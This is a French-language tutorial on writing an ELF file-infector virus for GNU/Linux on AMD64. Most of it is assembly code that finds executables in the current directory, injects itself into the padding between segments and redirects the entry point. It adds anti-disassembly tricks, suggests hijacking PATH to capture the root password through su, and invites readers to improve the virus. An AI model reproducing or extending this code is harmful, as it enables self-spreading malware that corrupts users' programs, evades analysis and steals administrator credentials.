Introduction

Outils

Le paquet binutils contient les programmes de base pour développer sous GNU/Linux. On y retrouve as, l'assembleur du projet GNU, ld le lieur, objdump qui permet, entre autres, de déassembler ou bien readelf qui donne des informations sur un fichier ELF.

D'autres outils vous seront très utiles, parmi eux figure le légendaire GNU Emacs, l'éditeur extensible du projet GNU, ainsi que gdb, un merveilleux débogueur. Tous ces outils sont libres et bien documentés (man et info sont là pour vous).

L'assembleur sous GNU/Linux est principalement utilisé avec la syntaxe AT&T par défaut avec as, en bref :

opcode src, dest

Pour générer un exécutable à partir d'un fichier assembleur, vous devez d'abord l'assembler avec as puis le lier, éventuellement avec d'autres objets, avec `ld` :

as -o simple.o simple.S
ld -o simple simple.o

Appels systèmes

Les appels systèmes sous GNU/Linux sont définis dans les fichiers /usr/include/asm-*/unistd.h selon l'architecture de la machine. Vous y trouverez les numéros des différents appels systèmes supportés pour une architecture donnée (définis avec des macros __NR_nom_de_l_appel) ainsi qu'un moyen d'effectuer ces appels (les macros _syscallXX correspond aux nombre de paramètres de l'appel.

À titre d'exemple, voilà un petit programme assembleur pour AMD64 qui se contente d'utiliser l'appel système exit pour quitter proprement.

.text
.globl  _start
_start:
      xorl    %edi, %edi
      movl    $0x3c, %eax
      syscall

On remet à zéro le registre %edi car c'est lui qui contient le premier argument d'un appel système sous AMD64 et on indique le code d'état 0, pour un programme qui s'est terminé normalement. 0x3c (60 en base 10) est le numéro de l'appel système pour exit. On passe enfin la main au noyau avec l'instruction syscall.

L'ordre d'utilisation des arguments est : %rdi, %rsi, %rdx, %r10, %r8 et %r9. Les registres %rax, %r11 et %rcx sont modifiés par un appel système : %rax qui contenait le numéro de l'appel système contient le code de retour, les deux autres sont utilisés par le noyau (et le CPU) pour revenir au programme.

Tous les appels systèmes sont bien bien documentés, par exemple dans les pages de manuel du programme man. La liste des appels systèmes varie quelque peu en fonction des architectures.

Format ELF

Le format standard des exécutables sous GNU/Linux est ELF (Executable and Linking Format). Une page de manuel lui est dédié : man 5 elf, vous pouvez aussi consulter le fichier /usr/include/elf.h.

En résumé de ces documents, un fichier ELF est consititué d'un en-tête ELF, au tout début, d'au moins un des en-têtes de section et de programme, ainsi que de sections. Les en-têtes de section et de programme peuvent eux être placé n'importe où en mémoire, leur adresse étant référencée dans l'en-tête ELF du début de fichier.

Note
Pourquoi les segments sont ils alignés ?

La mémoire des machines actuelles, en particulier celle de l'IA 32 ou de l'AMD 64, est découpée en pages de taille fixe (4Ko pour les plus petites mais il existe des superpages de 2Mo ou 4Mo selon l'architecture). Chacune de ces pages possèdes un jeu d'attributs, on y trouve classiquement R/W/X pour indiquer si la page peut être lue, si on peut y écrire ou si elle peut être exécuté (ce dernier champ n'existe pas sous les vieux IA-32). Ainsi, si on veut protéger le code pour ne pas risquer d'y écrire on mettra les pages qui le contiennent en read-only, pour les données, on mettra no-exec. Comme une page ne possède qu'un jeu d'attribut et que l'allocation mémoire se fait par pages (4Ko au minimum), on aura souvent de l'espace disponible en fin de page (et les pages de code et de données seront séparése).

Les sections sont décrites dans l'en-tête des sections. Les sections peuvent former des segments (au sens de ELF) à charger en mémoire et décrits dans l'en-tête de programme. Bien souvent les segments doivent être alignés en mémoire, et laisse un certain espace-libre que les virus peuvent utiliser pour se loger. Les segments sont eux définits dans l'en-tête de programme.

Par exemple, sur ma machine, il y a très souvent un petit espace entre le segment de code et celui de données, cet espace est bien évidemment présent dans le mapping mémoire (puisque le code et les données sont sur des pages physiques différentes) mais aussi parfois dans le fichier ELF, c'est là que notre virus va se loger.

$ readelf -lW /bin/gunzip
Elf file type is EXEC (Executable file)
Entry point 0x401390
Program Headers:
  Type    Offset      VirtAddr              MemSiz       Flags
  LOAD    0x000000    0x0000000000400000    0x00c3cc     R E
  LOAD    0x00d000    0x000000000050d000    0x051c70     RW

Certaines informations ont étés volontairement supprimmées.

Comme vous pouvez le constater, l'espace entre 0xc3cc et 0xd000 est inutilisé dans le fichier (en fait il pourrait y avoir des données d'une *section* mais ce n'est pas le cas pour des programmes normaux). Cela fait plus de 3 kilo-octets d'exploitable. hexdump peut nous le confirmer :

$ hexdump /bin/gunzip
...
000c3c0 8318 4e03 200e 0000 0000 0000 0000 0000
000c3d0 0000 0000 0000 0000 0000 0000 0000 0000
*
000d000 ffff ffff ffff ffff 0000 0000 0000 0000
...

C'est donc à cet endroit que nous allons mettre notre code, la section étant exécutable. Nous allons simplement l'ajouter, modifier la taille du segment à charger dans l'en-tête de programme, et modifier le point d'entrée de façon à ce que la première instruction exécutée soit notre virus.

Il existe d'autres stratégies, comme par exemple rajouter notre code en fin de fichier (ou au début), mais notre article utilise celle-là. Faites tourner votre imagination !

Plan d'action

Notre virus a besoin d'un premier hôte à partir duquel il pourra infecter d'autres programmes. Cet hôte fera partie intégrante de notre code et le virus lui donne la main après son exécution. Un squelette de notre code va donc être :

.text
.globl  _start, old_start
      /* The host */
old_start:
      movl    $1, %edi
      movl    $0x3c, %eax
      syscall
      /* The virus */
_start:
/* Virus code */
/* Jump to the host */
jmp     old_start

Voilà donc le chemin que nous allons parcourir :

Recherche d'un hôte

Nous allons nous contenter de contaminer les exécutables du répertoire courant. Pour cela, nous allons simplement utiliser les différents appels systèmes à notre disposition. Les différentes étapes sont les suivantes :

Une fois ces étapes effectuées, nous pouvons simplement parcourir la liste des noms de fichier et tenter de les infecter.

/* Open the current directory */
/* [r15 = open (".", O_RDONLY | O_DIRECTORY)]*/
leaq    cwd(%rip), %rdi
movl    $0x10000, %esi
movl    $0x2, %eax
syscall
orq     %rax, %rax
js      restore_env
movq    %rax, %r15

Ce code se contente d'ouvrir, comme indiqué dans le commentaire, le répertoire courant et place le descripteur de fichier dans le registre %r15. La chaîne de caractère ".\0" se trouve au label cwd. Pour y accéder de façon relative, puisque notre code va pouvoir être n'importe où en mémoire, on utilise l'adressage relatif à %rip. Cette spécificité des processeurs AMD64 permet d'éviter d'utiliser un registre (par rapport au IA32).


        /* Allocate a buffer for getdents() with mmap() */
        /* [r14 = mmap (NULL, DEFAULT_PAGE_SIZE,
                        PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, 0, 0) ] */
        xorl    %edi, %edi
        movl    $0x1000, %esi
        movl    $0x3, %edx
        movl    $0x22, %r10d
        xorl    %r8d, %r8d
        xorl    %r9d, %r9d
        movl    $0x9, %eax
        syscall
        orq     %rax, %rax
        js      close_cwd
        movq    %rax, %r14

        /* Read the dir entries and store their total size */
        /* [r12 = getdents (r15, r14, DEFAULT_PAGE_SIZE)]  */
        movq    %r15, %rdi
        movl    %esi, %edx
        movq    %r14, %rsi
        movl    $0x4e, %eax
        syscall
        orq     %rax, %rax
        js      unmap_cwd
        add     %r14, %rax
        movq    %rax, %r12

        /* For each entry */
        movq    %r14, %r13

        /* %rsi = %r13->d_name */
entry:  movl    $0x1, %edi
        movq    %r13, %rsi
        addq    $0x12, %rsi

        /*** DO SOMETHING WITH THE ENTRY IN %rsi ***/

        /* Jump to the next entry */
        xorl    %eax, %eax
        movw    16(%r13), %ax
        addq    %rax, %r13

        cmpq    %r12, %r13
        jl      entry

Dans cet exemple, on parcourt le répertoire en plaçant son nom (l'adresse de la chaîne de caractère) dans le registre %rsi à chaque itération. La boucle se termine lorsque l'adresse de l'entrée suivante dépasse l'adresse du buffer allouée + la taille totale des entrées (retournée par getdents ()).

Le buffer doit aussi être désalloué (ce qui se fait au label unmap_cwd:) et le descripteur de fichier du répertoire courant fermé (au label close_cwd:). Le label restore_env: correspond à la fin du programme (appelé si le répertoire courant n'a pu être ouvert). Ces bouts de code n'ont pas été inclus dans l'article pour ne pas trop l'alourdir.

Vérification du fichier

On doit à présent vérifier si le fichier peut être modifié, s'il est exécutable et s'il s'agit d'un fichier ELF 64 bits (puisque les AMD64 peuvent aussi faire tourner du code 32 bits en mode compatibilité).

La première étape consiste à ouvrir le fichier dont le nom figure dans l'entrée du répertoire. Si l'ouverture réussit, alors on est déjà au moins sûr d'avoir accès en lecture et écriture au fichier. Sinon on saute à l'entrée suivante.

/* [r9 = open (%rsi, O_RDWR) ] */
movq    %r9, %rdi
movl    $0x2, %esi
movl    $0x2, %eax
syscall
orq     %rax, %rax
js      next_entry
movq    %rax, %r9

On vérifie ensuite que le fichier est exécutable par un appel à fstat (). Faisant d'une pierre deux coups, cette fonction nous donne aussi la taille du fichier (que l'on réutilisera avec mmap ()). La structure qui va recevoir les informations est stockée dans la pile. Donc il faut lui avoir auparavant réservé de la mémoire :


        /* The virus */
_start:
        /* Save the environment */
        pushq   %rbp
        movq    %rsp, %rbp

        /* Local variables */
        subq    $0x90, %rsp

        ...

        /* [ fstat (%r9, %ebp - 0x90)] */
        movq    %r9, %rdi
        movq    %rbp, %rsi
        subq    $0x90, %rsi
        movl    $0x5, %eax
        syscall
        orq     %rax, %rax
        js      close_entry

        /* Check file type (regular and u+rwx) */
        movl    $0x81c0, %eax
        movq    %rbp, %rbx
        movl    -0x78(%rbx), %ecx
        andl    %eax, %ecx
        cmpl    %eax, %ecx
        jne     close_entry

Il ne nous reste plus qu'à mapper le fichier en mémoire pour en faciliter l'accès. Comme d'habitude le code de désallocation, fermeture, … n'est pas specifié.

/* Map the file to memory */
/* [%r8 = mmap (0, (%ebp - 0x90)->st_size, PROT_READ | PROT_WRITE,
                MAP_SHARED, %r9, 0) ] */
xorl    %edi, %edi
movq    -0x60(%rbp), %rsi
movl    $0x3, %edx
movl    $0x1, %r10d
movq    %r9, %r8
xorl    %r9d, %r9d
movl    $0x9, %eax
syscall
orq     %rax, %rax
movq    %r8, %r9
js      close_entry
movq    %rax, %r8

Les vérifications deviennent alors vraiment très simple. On vérifie que l'on a bien à faire à un fichier ELF (ils débutent tous par la suite magique \177ELF) et qu'il est en 64bits.

/* Check we have and ELF file */
movl    (%r8), %eax
cmpl    $0x464c457f, %eax
jne     unmap_entry
/* Check the ELF is 64bits */
movb    4(%r8), %al
cmpb    $0x2, %al
jne     unmap_entry

Segments

On va ensuite parcourir la liste de tous les segments de programme du fichier ELF jusqu'à trouver le premier segment exécutable (le segment de code). L'adresse de la table des segments (table d'en-tête de programme) peut être trouvée dans l'en-tête ELF, à l'offset 0x20. Sa taille est disponible à l'offset 0x38.

        /* Put the first segment entry in %r10 */
        movq    %r8, %r10
        addq    0x20(%r8), %r10

        /* Put the segment entries limit in %r11 */
        /* [%r11 = %r8->e_phoff + %r8->e_phentsize * sizeof (Elf64_Phdr) ] */
        xorl    %r11d, %r11d
        movw    0x38(%r8), %r11w
        movl    %r11d, %eax
        shlq    $0x6, %r11
        shlq    $0x3, %rax
        subq    %rax, %r11
        addq    %r8, %r11

        /* For each program header entry */
phdr_entry:

        ...

        /* Next header entry */
next_phdr_entry:
        addq    $0x38, %r10
        cmpq    %r11, %r10
        jl      phdr_entry

On effectue ensuite quelques vérifications pour savoir si on est bien dans le segment de code.

phdr_entry:
      /* Check if the segment will be loaded */
      /* [%r10->p_type == PT_LOAD] */
      movl    (%r10), %eax
      decl    %eax
      jnz     next_phdr_entry
/* Check if the segment is executable */
/* [%r10->p_flags & PF_X] */
movl    4(%r10), %ebx
incl    %eax
andl    %ebx, %eax
jz      next_phdr_entry

La prochaine vérification permet de savoir si la place disponible entre le segment de code et le segment de donnée est plus grosse que la taille du virus. FIXME: La vérification de l'espace en mémoire virtuelle est peut-être inutile.

        /* Virus size */
        /* [%rsi = (cwd - _start + 2)] */
        movq    $(cwd - _start + 2), %rsi

        /* Next program header entry */
        /* [%rdi = %r10 + sizeof (Elf64_Phdr)] */
        movq    %r10, %rdi
        addq    $0x38, %rdi

        /* Verify the file hole size */
        /* [%rbx = %rdi->p_offset - (%r10->p_offset + %r10->p_memsz)] */
        movq    0x8(%rdi), %rbx
        movq    0x8(%r10), %rax
        subq    %rax, %rbx
        movq    0x28(%r10), %rax        /* Could be avoided */
        subq    %rax, %rbx
        cmpq    %rsi, %rbx
        jl      next_phdr_entry

        /* Verify the virtual memory hole size */
        /* [%rbx = %rdi->p_vaddr - (%r10->p_vaddr + %r10->p_memsz)] */
        movq    0x10(%rdi), %rbx
        movq    0x10(%r10), %rax
        subq    %rax, %rbx
        movq    0x28(%r10), %rax
        subq    %rax, %rbx
        cmpq    %rsi, %rbx
        jl      next_phdr_entry

On passe enfin à la réplication proprement dite qui va copier le code du virus, modifier le point d'entrée du programme et aggrandir la taille du segment de code à charger en mémoire.


        /* -!- Replication -!- */
        movq    %rsi, %rcx
        leaq    _start(%rip), %rsi
        movq    0x8(%r10), %rdi
        addq    %r8, %rdi
        movq    0x28(%r10), %rax
        addq    %rax, %rdi
        rep     movsb

        /* Modify the program entry point */
        movq    0x10(%r10), %rax
        addq    0x28(%r10), %rax
        movq    0x18(%r8), %rbx
        movq    %rax, 0x18(%r8)

        /* Patch the jump to the host */
        lea     jmp_to_host(%rip), %rax
        subq    $_start, %rax
        addq    0x8(%r10), %rax
        addq    0x28(%r10), %rax
        addq    %r8, %rax
        movl    %ebx, 3(%rax)

        /* Modify the entry size */
        movq    $(cwd - _start + 2), %rax
        addq    0x28(%r10), %rax
        movq    %rax, 0x28(%r10)

        /* Ok with this file, switch to the next */
        jmp     unmap_entry

        /* Next header entry */
next_phdr_entry:

        ...

        /* Jump to the host */
jmp_to_host:
        movq    $old_start, %rax
        jmpq    *%rax

cwd:    .ascii  ".\0"

Une autre action effectuée consiste à patcher le saut vers le code originel. Pour cela on place l'adresse du label old_start dans le registre %eax

Analyse & Détectabilité

Notre virus est actuellement très simplement détectable, une simple recherche sur une de ses chaînes caractéristiques permet de le trouver. Pour améliorer la situation, nous pouvons utiliser une petite routine de cryptage (en modifiant évidemment la clé à chaque fois) voire un moteur polymorphique.

De plus, n'importe qui peut facilement analyser le virus en désassemblant un programme infecté. Il est très simple d'empêcher le virus d'agir en ayant son code sous les yeux, pour l'empêcher, nous devons utiliser des techniques anti-debugging/anti-désassemblage. Nous énumérons ici les plus basiques d'entre elles.

Supprimmer les en-tête de section

La commande objdump utilise les en-tête de section pour désassambler un programme. Modifier cette table n'empêche pas l'exécution du programme (puisque son chargement utilise la table de programme qui décrit les différents segments) et permet d'empêcher un désasemblage simple.

Saut au milieu d'une instruction

Si vous rajoutez des labels aléatoires et inutiles au milieu du flux d'instructions, objdump ne sera plus en mesure de déssambler correctement. L'exemple suivant illustre un exemple de ce qui est possible en sautant au mileu d'une instruction. À utiliser en modifiant l'octet de façon à rendre le reste du code désassemblé le plus différent possible de l'original.

        leaq    _notng(%rip), %rax
        incq    %rax
        jmpq    *%rax

_notng: .byte   0xb8

Vous pouvez aussi utiliser plusieurs octets, par exemple le prefixe REX et réutiliser le code au différents point vitaux à masquer dans votre programme. Une suggestion du FAT gourou est d'en placer un juste avant une instruction du genre incq %rax pour faire subtilement tout merder par la suite :)

Infecter le système

L'un des principaux problèmes des virus sous GNU/Linux est qu'ils doivent être exécuté en tant qu'administrateur pour avoir un réel effet. Cela étant du au fait que seul l'administrateur à le droit de modifier (et donc d'infecter) les programmes classiques (dans /bin ou /usr/bin). Un simple utilisateur ne pouvant modifier que les fichiers lui appartenant.

Vous allez donc devoir trouver un moyen d'infecter les autres programmes du système. Si vous êtes déjà root (je pense à la distribution Linspire) c'est gagné. Sinon vous devrez profiter d'une faille dans le système (mais là bôf pour la généricité du virus) ou bien user d'un peu de malice. Vous pouvez par exemple modifier la variable PATH de l'utilisateur pour que su appelle le virus et ainsi récupérer le mot de passe administrateur. Notez que certaines distributions et certains utilisateur laissent un accès root sans mot de passe avec sudo, par exemple en autorisant toutes les commandes sans mot de passe !

Conclusion

Cet article n'a fait qu'effleurer les bases du vxing sous GNU/Linux. À vous de vous approprier le code présenté, de le modifier, de l'améliorer. La méthode d'infection, qui aggrandit une section dans le fichier sans modifier la taille totale, ne peut être appliquée que pour certains fichiers (à peu près 1/4 des programmes ELF de mon répertoire /bin). De plus le virus ici présenté peut très simplement être détecté et analysé.

Bibliographie